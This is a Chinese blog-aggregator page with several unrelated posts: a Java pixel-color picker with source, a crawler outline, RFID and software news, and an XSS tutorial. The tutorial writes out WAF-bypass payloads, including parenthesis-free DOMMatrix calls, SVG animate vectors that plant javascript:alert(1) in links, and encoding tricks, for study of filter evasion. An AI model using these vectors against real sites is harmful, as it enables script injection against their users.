首页 文章 精选 留言 我的

精选列表

搜索[镜像无法拉取],共10000篇文章
优秀的个人博客,低调大师

鼠标像素拾器的实现(坐标&RGB)

环境:jdk1.2+包: import java.awt.BorderLayout;import java.awt.Color; import java.awt.Font;import java.awt.Point;import java.awt.Robot;import java.awt.Toolkit;import java.awt.datatransfer.Clipboard;import java.awt.datatransfer.StringSelection;import java.awt.datatransfer.Transferable;import java.awt.event.KeyEvent;import java.awt.event.KeyListener;import java.util.Timer;import java.util.TimerTask;import javax.swing.JFrame;import javax.swing.JLabel;import javax.swing.JPanel;import javax.swing.border.EmptyBorder; 主类:MousePixInfo3(main内实例化) 第一步:设计界面构造函数内渲染jframe过程略.. 第二步:调用标准库: 利用Robot.getPixelColor(x,y)方法得到Color对象; 利用MouseInfo.getPointerInfo().getLocation()得到Point对象; 利用Integer.toHexString(int i)方法将rgb值转成更易读的十六进制; 利用Timer.schedule(TimerTask timerTask)周期刷新像素信息; 第三步:扩展功能: 1.jframe置顶(Jframe.setAlwaysOnTop(true))(非聚焦) 2.esc键退出(System.exit(0)) 3.空格暂停(timer.cancel()) 4.L键将坐标值存入系统剪切板 5.C键将颜色值存入系统剪切板 源码: package test; import java.awt.BorderLayout; import java.awt.Color; import java.awt.Font; import java.awt.Point; import java.awt.Robot; import java.awt.Toolkit; import java.awt.datatransfer.Clipboard; import java.awt.datatransfer.StringSelection; import java.awt.datatransfer.Transferable; import java.awt.event.KeyEvent; import java.awt.event.KeyListener; import java.util.Timer; import java.util.TimerTask; import javax.swing.JFrame; import javax.swing.JLabel; import javax.swing.JPanel; import javax.swing.border.EmptyBorder; public class MousePixInfo3 extends JFrame { /** * */ private static final long serialVersionUID = 1L; private final JPanel contentPanel = new JPanel(); static JLabel value_x = null; static JLabel value_y = null; static JLabel myPixColorHex = null; static Robot myRobot; static Timer timer = new Timer(); JLabel lblx = new JLabel("X :"); JLabel lbly = new JLabel("Y :"); static boolean isRunning = true; JLabel note1; JLabel note2; /** * Launch the application. */ public static void main(String[] args) { try { myRobot = new Robot(); MousePixInfo3 info_frame = new MousePixInfo3(); info_frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); info_frame.setVisible(true); info_frame.setAlwaysOnTop(true); info_frame.addKeyListener(new KeyListener() { @Override public void keyTyped(KeyEvent e) { // TODO Auto-generated method stub } @Override public void keyReleased(KeyEvent e) { // TODO Auto-generated method stub } @Override public void keyPressed(KeyEvent e) { // TODO Auto-generated method stub if (e.getKeyCode() == KeyEvent.VK_ESCAPE) { System.exit(0); } else if (e.getKeyChar() == ' ') { if (isRunning) { timer.cancel(); isRunning = false; } else { run(); isRunning = true; } } else if (e.getKeyChar() == 'l') { setSysClipboardText(value_x.getText() + "," + value_y.getText()); } else if (e.getKeyChar() == 'c') { setSysClipboardText(myPixColorHex.getText()); } } }); run(); } catch (Exception e) { e.printStackTrace(); } } /** * Create the dialog. */ public static void setSysClipboardText(String writeMe) { Clipboard clip = Toolkit.getDefaultToolkit().getSystemClipboard(); Transferable tText = new StringSelection(writeMe); clip.setContents(tText, null); } public static void run() { timer = new Timer(); timer.schedule(new TimerTask() { @Override public void run() { Point point = java.awt.MouseInfo.getPointerInfo().getLocation(); Color myPixColor = myRobot.getPixelColor(point.x, point.y); String r = Integer.toHexString(myPixColor.getRed()); String g = Integer.toHexString(myPixColor.getGreen()); String b = Integer.toHexString(myPixColor.getBlue()); value_x.setText("" + point.x); // 双引号""把int转成string value_y.setText("" + point.y); myPixColorHex.setText("#" + r + g + b); } }, 100, 50);// 设置100ms后开始,每50ms检测一次坐标 } public MousePixInfo3() { timer = new Timer(); setTitle("像素采集神器"); setBounds(100, 100, 317, 192); getContentPane().setLayout(new BorderLayout()); contentPanel.setBorder(new EmptyBorder(5, 5, 5, 5)); getContentPane().add(contentPanel, BorderLayout.CENTER); contentPanel.setLayout(null); lblx.setFont(new Font("宋体", Font.PLAIN, 15)); lblx.setBounds(22, 27, 66, 31); contentPanel.add(lblx); lbly.setFont(new Font("宋体", Font.PLAIN, 15)); lbly.setBounds(22, 68, 66, 31); contentPanel.add(lbly); value_x = new JLabel("0"); value_x.setForeground(Color.BLUE); value_x.setFont(new Font("宋体", Font.PLAIN, 20)); value_x.setBounds(64, 27, 66, 31); contentPanel.add(value_x); value_y = new JLabel("0"); value_y.setForeground(Color.BLUE); value_y.setFont(new Font("宋体", Font.PLAIN, 20)); value_y.setBounds(64, 68, 66, 31); contentPanel.add(value_y); myPixColorHex = new JLabel("0"); myPixColorHex.setForeground(Color.RED); myPixColorHex.setFont(new Font("宋体", Font.PLAIN, 32)); myPixColorHex.setBounds(142, 48, 128, 31); contentPanel.add(myPixColorHex); note1 = new JLabel("esc退出;Space暂停/继续", JLabel.CENTER); note1.setFont(new Font("幼圆", Font.PLAIN, 16)); getContentPane().add(note1, BorderLayout.SOUTH); note2 = new JLabel("'l'复制location;'c'复制color", JLabel.CENTER); note2.setFont(new Font("幼圆", Font.PLAIN, 16)); getContentPane().add(note2, BorderLayout.NORTH); } }

优秀的个人博客,低调大师

Python网络爬虫之爬糗事百科案例

项目说明 使用Python写网络爬虫之糗事百科示例 使用工具 Python2.7.X、pycharm 使用方法 在pycharm中创建一个ceshi.py文件,撰写代码,运行代码,查看运行结果 操作原理 1.首先先了解正则表达式的使用方法,见:正则表达式 2.找到糗事百科的主页URL:http://www.qiushibaike.com/hot/page/1 可以看出来,链接中page/后面的数字就是对应的页码,记住这一点为编写程序做准备。 然后,右击查看页面源码: 网页源码分析-图1 网页源码分析-图2 观察发现,每一个段子都用div标记,其中class必为content,我们只需要用正则表达式将其“扣”出来就可以了。 示例代码 代码示例1 代码示例2 运行结果 运行结果 参考来源:http://blog.csdn.net/pleasecallmewhy/article/details/8932310

优秀的个人博客,低调大师

RFID技术突破,物联网产品或摆脱充电线

曾经创见发表过一篇文章:《从 Nest 烟雾报警器看智能硬件的软肋与出路》,文章的最后指出了智能硬件,又或者是物联网产品目前所存在的最大障碍:它们新奇有余,耐久不足。往往这些产品摆放在家里面之后,没有人会管它们,这个时候电能供应就成为了最大的问题。没有人时不时爬高上低地给各种家具换电池。如果是报警装置,没电了也没人意识到,危险发生时发挥不出应有的作用就更加麻烦了! 然而今天无线射频技术有了新突破,物联网产品终于有可能摆脱对人工充电的依赖了! 物联网时代是一个很宏大的愿景,每一款产品都能通过网络进行智能连接。从你的割草机到你的窗帘再到你的办公室写字椅,每一个家具或者电器都能够相互彼此实现通讯。这听起来固然很美好,但是想要驶向这样一个未来,你必须彻底地改变物联网产品电力的驱动方式。 而如今,来自华盛顿大学的研究人员给我们带来了最新的解决方案:通过射频设别技术(RFID),得到一种摆脱电池依赖的计算机。 大家一般所能见到的无线射频技术(RFID),一般都应用在商场衣服内侧的标签上,电子元器件以及公交站。在过去,它们不可能给任何东西提供动力来源,但是华盛顿大学的研究团队的最新成果使得它的射频信号能够转化成为电能。 所产生的电能其实是很小的,并不足以支撑运行智能手机,但是足够运行那些对电量要求较低的物联网设备。根据华盛顿大学 Sensor Lab 的研究人员 Aaron Parks 的介绍:摆脱对传统电池的依赖,可以让设备在不介入任何物理硬件操作的前提下,自己运行上几十年的时间! 这种技术可以让物联网设备正如智能手机一样去运行一些应用程序,使得物联网设备正式迈入到了计算设备的范畴当中。如今,计算化的 RFID 技术已经成为了现代计算领域这个大的系统中的一部分内容。 尽管这对于未来的物联网行业来说意义非同凡响,但是它还没有正式进入到功能测试环节。华盛顿大学预计在不远的未来会深入进行测试,保证新的传输协议(名字叫做WISP)能够在现实世界中真正发挥其功能。 对于物联网行业来说,电池一直依赖都是非常大的难题,没有人愿意爬高爬下,比如去金门大桥的桥顶上去摘下一个感应器,又或者在一大片农庄田地里眯着眼去寻找一颗没有电了的传感器。让传感器能够自行供给电力,无需人工维护,这是彻底解放物联网领域巨大潜力的关键环节。 只是不要期望一夜之间就会实现,摆在物联网设备面前的路,依然很长。 本文转自d1net(转载)

优秀的个人博客,低调大师

火绒推出强力卸载工具:免费广

火绒安全宣布正式推出全新工具 ——“火绒强力卸载(Huorong Uninstaller)”Beta 版,计划于 2026 年 1 月 8 日上线。 根据介绍,“火绒强力卸载”包含以下特性: 支持独立安装、独立使用,无需依赖其他程序。 提供“普通卸载”、“一键卸载”两种操作模式,满足常规清理与深度卸载的差异化需求,(两种卸载模式暂不支持卸载WinAPP)。 具备软件安装全程行为监控能力,安装行为的记录效果与主流同类产品基本一致,为后续精准卸载提供依据(在 GeekUninstaller、TotalUninstall 等国外同类软件中,类似功能通常需升级至收费版本才可使用) 通过“内置规则库+非行为记录”的双重方式,扫描并清理软件卸载后的残留文件、注册表项等冗余数据 支持软件按“全部/不受欢迎/Win应用/系统组件”多维度分类,同时展示软件大小、安装时间、使用频率,方便快速定位目标软件 涵盖操作日志查询、基础设置等功能;内置问题反馈通道,可直接跳转论坛进行反馈 拒绝收费功能阉割、告别弹窗广告与软广打扰,所有核心卸载、残留清理、安装监控功能目前免费开放,让用户享受纯粹的工具体验 秉持“轻便、简单、专注”的产品理念,优化底层架构,运行时资源占用低,不影响电脑日常操作,老旧设备也能流畅使用 预设安全机制,禁止一键卸载安全软件,避免误操作风险;采用“后置解除占用”技术,而非直接内核解除,防止操作超限引发系统问题,兼顾高效与安全 无论是“新手”亦或是“老手”,都能通过简洁的界面快速上手,功能贴合不同需求层级

优秀的个人博客,低调大师

🔥代码流程引擎 FlowLong 1.1.1 发布

开源地址:https://gitee.com/aizuda/flowlong 开源地址:https://github.com/aizuda/flowlong 官网文档:https://flowlong.aizuda.com 支持全流程操作监听,仅 8 张表实现整个流程引擎(更符合中国人的思维模式设计),截至当前近 300 家企业自用登记接入使用。300 多家企业包括,国家计算中心,电信 等国企已上车,你还在等什么呢? 开源登记使用名单如下,企业版用户暂不公开 https://gitee.com/aizuda/flowlong/issues/IB5K4V Flowlong 1.1.1 主要亮点 feat: 新增重新加载模型测试用例 feat: 新增解析模型测试用例 feat: 节点模型新增基础信息克隆方法 fix: 修复节点跳转归档子节点逻辑 opt: 优化实例模型缓存加载逻辑 opt: 优化抄送任务并行分支执行逻辑 opt: 计算时间差至少设置为0优化

优秀的个人博客,低调大师

括号和svg的xss构造利用

前言 最近我学习了一些新的xss技巧在这里分享给大家! 0x01 JavaScript without parentheses using DOMMatrix 背景 以前我们有两个解决xss不带括号的方法但是都有缺陷: 我们可以使用location=name来加载外部的代码,但是Safari不支持,另外还可以用onerror=alert;throw 1来实现xss,但是现在大多数的waf都会过滤throw 1,因此今天我们就来介绍以下第三种方法。 DOMMatrix 题目的伪代码: 根据上面的要求我们不能使用"'()[]\%;等字符,对于函数由于少了括号,我们只能用toString/valueOf函数但是不能传参数。由于字符的受限我们不能提取字符串的一部分。我们只能获取toString值的第一个字符,例如: 解释一下为什么获取的字符是/因为创建RegExp对象的toString是/(?:)/所以获取的第一个字符就是/。 由于我们不能使用带括号的函数,因此我们需要找一个对象,该对象toString是一个带括号的函数调用,就是DOMMatrix,例如: 我们可以利用DOMMatrix来生成一个包含括号的字符串,该字符串为带有参数的矩阵函数1, 0, 0, 1, 0, 0,但是有两个问题:1.我们需要控制被调用的函数;2.我们需要控制传递给函数的参数。我们可以通过将函数分配给矩阵变量来解决第一个问题: x=new DOMMatrix; matrix=alert; 对于第二个问题:由于DOMMatrix构造函数返回的矩阵对象,中有一个属性a,该属性使我们能够控制传递给该函数的第一个参数,其他参数依次类推: 综上所述,我们可以利用DOMMatrix来构造payload调用alert(1377): 到此结束了吗,没有!有时候我们需要执行任意代码,因此我们继续介绍怎么怎么执行任意代码。 首先我们传递到矩阵函数的参数必须是数字,这个可以用String.fromCharCode来把数字转化成字符;其次我们必须给矩阵的每个属性都赋值,因为其默认是0或1,在执行函数时将会报错;如果字符的位置都占满了6个属性,我们需要再次创建对象使用位置分配。 最终的payload如下: 构成的字符串如下: javascript:a=matrix(106, 97, 118, 97, 115, 99)+matrix(114, 105, 112, 116, 58, 32)+matrix(97, 108, 101, 114, 116, 40)+matrix(49, 51, 51, 55, 41, 59);location=a;void 1 我们使用location两次,一次生成字符串,第二次将字符串赋值给location。其中void 1阻止浏览器写入所述第二位置分配为HTML。 0x02 SVG animate XSS vector 背景 一般对于现在的waf都可以提取标签的属性值,然后检验其中是否有恶意代码达到屏蔽的作用,但是我们可以用<animate>标签的values属性中间插入JavaScript URL和多个值来绕过waf,例如: <animate values="http://safe-url/?;javascript:alert(1);C"> 这样对于某些waf来说可能识别失败,并将上面的属性值视为安全的URL。 这项研究的作者提出了一个完美的XSS攻击媒介: <svg><animate xlink:href=#xss attributeName=href dur=5s repeatCount=indefinite keytimes=0;0;1 values="https://safe-url?;javascript:alert(1);0" /><a id=xss><text x=20 y=20>XSS</text></a> 接下来我们将尝试将上面的payload缩短。 payload缩短 在开始之前,我们需要了解values和keyTimes属性之间的关系。 让我们看一下文档(https://svgwg.org/specs/animations/#KeyTimesAttribute),以了解什么是keyTimes: 以分号分隔的时间值列表,用于控制动画的步调。列表中的每个时间都对应于values属性列表中的一个值,并定义了何时在动画功能中使用该值。 "keyTimes"列表中的每个时间值都指定为0到1(含)之间的浮点值,代表动画元素的简单持续时间的比例偏移。 对于线性和样条动画,列表中的第一个时间值必须为0,列表中的最后一个时间值必须为1。与每个值关联的关键时间定义何时设置该值;值在关键时间之间进行插值。 为了更好地了解其行为,我们将创建一个滑动圆的动画(这里就不演示了感兴趣的可以自己尝试一下,将下面代码用浏览器打开即可): 在上面的示例中,发生了两个动画。圆从0滑到80,然后从80滑到120。我们减少中间keyTimes属性的次数越多(前者的值设置为0.5),动画的第一部分越快。但是,当该值减小到0时,动画的第一部分将被忽略,并且圆圈将从80滑动到120。这正是我们需要的: 我们要确保始终显示动画的第二部分(而始终忽略第一部分)。为此,设置了两个附加属性:repeatCount = indefinite –告诉动画继续播放,dur = 5s–持续时间(任何值都足够)。 让我们快速浏览一下文档(https://www.w3.org/TR/SVG11/animate.html),注意这两个属性是多余的: 如果动画不具有"dur"属性,则简单持续时间是不确定的。 代替无限重复5s动画,我们可以创建不重复的无限动画。这样,我们就可以摆脱dur属性(默认情况下将其设置为不确定的值),然后我们可以删除repeatCount。 对于下面的代码: 第一个动画不会发生(因此href属性不会设置为https://safe-url),而第二个动画会(href指向javascript:alert(1)并且将无限期地保留在那里)。这样,我们就可以缩小初始XSS攻击向量,如下所示: <svg><animate xlink:href=#xss attributeName=href keyTimes=0;0;1 values="http://isec.pl;javascript:alert(1);X" /><a id=xss><text x=20 y=20>XSS</text></a> Freeze the keyTimes 事实证明,这keyTimes不是唯一允许我们使用values属性列表中非第一个值的属性。由于我们想在后面走私javascript:alert(1),而不是一开始就走私,因此,最明显的解决方案是将其摆在最后。 SVG标准定义(https://developer.mozilla.org/zh-CN/docs/Web/SVG/Attribute/fill)了一个属性fill。它指定动画的最终状态是第一帧还是最后一帧。 <svg viewBox="0 0 120 25" xmlns="http://www.w3.org/2000/svg"> <circle cx="10" cy="10" r="10"> <animate attributeName="cx" dur=5s values="0 ; 80 " fill=remove /> </circle> </svg> 如果属性fill设置为"remove",则在动画结束时它将移回第一帧。圆从0滑到80,然后移回0位置。 <svg viewBox="0 0 120 25" xmlns="http://www.w3.org/2000/svg"> <circle cx="10" cy="10" r="10"> <animate attributeName="cx" dur=5s values="0 ; 80 " fill=freeze /> </circle> </svg> 如果将属性fill设置为freeze,则动画将保留最后一个动画帧的状态。圆从0滑到80,并停留在完成动画的位置80。这样,我们可以将我们javascript:alert(1)作为最后一个元素,并确保在动画结束时始终显示该元素。 这种解决方案有点棘手。在碰到最后一个元素之前,我们需要遍历第一个元素。我们不能忽略它; 但是,我们可以通过将动画的持续时间设置为非常短的值(例如:1ms),使第一个动画帧几乎可以被人眼忽略。 动画开始播放时,href属性将仅设置http://isec.pl为1毫秒,然后它将保持打开状态javascript:alert(1)。 <svg><animate xlink:href=#xss attributeName=href fill=freeze dur=1ms values="http://isec.pl;javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a> 其他绕过WAF的技巧 混淆WAF的主要技巧是插入恶意javascript:alert(1)矢量作为URL的有效部分。尽管值必须用分号分隔,但我们仍可以轻松地构成一个有效的URL,在其中走私我们的javascript:alert(1)向量: values="http://isec.pl/?a=a;javascript:alert(1)"作为参数值。 values="http://isec.pl/?a[;javascript:alert(1)//]=test"作为参数名称。 values="http://isec.pl/?a=a#;javascript:alert(1)"作为哈希的片段。 values="http://;javascript:alert(1);@isec.pl"作为基本身份验证凭据(keyTimes变体) HTML编码 此外,我们允许对values属性内的任何字符进行HTML编码。这样,我们可能会更好地欺骗WAF规则。 <svg><animate xlink:href=#xss attributeName=href fill=freeze dur=1ms values="http://isec.pl;j&#97;v&#x61;script:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a> 由于HTML编码很方便,所以我们可能会使用一些额外的行为:允许某些字符出现在javascript:协议标识符之前。01-32范围内的每个ASCII值都可以使用。例如: <svg><animate xlink:href=#xss attributeName=href values="&#11;javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a> <svg><animate xlink:href=#xss attributeName=href values="&#01;&#02;&#03;&#04;&#05;&#06;&#07;&#08;&#09;&#10;&#11;&#12;&#13;&#14;&#15;&#16;&#17;&#18;&#19;&#20;&#21;&#22;&#23;&#24;&#25;&#26;&#27;&#28;&#29;&#30;&#31;&#32;javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a> 根据该项研究的作者观察表明,这些值根本不需要进行HTML编码(由于有效负载包含不可打印的字符,因此对它们进行了base64编码以提高可读性): PHN2Zz48YW5pbWF0ZSB4bGluazpocmVmPSN4c3MgYXR0cmlidXRlTmFtZT1ocmVmICB2YWx1ZXM9IgECAwQFBgcICQ0KCwwNCg4PEBESExQVFhcYGRobHB0eHyBqYXZhc2NyaXB0OmFsZXJ0KDEpIiAvPjxhIGlkPXhzcz48dGV4dCB4PTIwIHk9MjA+WFNTPC90ZXh0PjwvYT4= 0x03 总结 上面的这些payload可以绕过某些不严谨的waf,通过这次的学习对xss又有着更深的理解。 0x04 参考链接 https://portswigger.net/research/javascript-without-parentheses-using-dommatrix https://blog.isec.pl/xss-fun-with-animated-svg/ https://portswigger.net/research/svg-animate-xss-vector XSS跨站脚本攻击原理与实践(XSS攻击,指通过在页面注入恶意JAVASCRIPT代码,从而在用户浏览被注入恶意代码的页面时,控制用户的浏览器行为的一种攻击)

资源下载

更多资源
优质分享App

优质分享App

近一个月的开发和优化,本站点的第一个app全新上线。该app采用极致压缩,本体才4.36MB。系统里面做了大量数据访问、缓存优化。方便用户在手机上查看文章。后续会推出HarmonyOS的适配版本。

Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。

用户登录
用户注册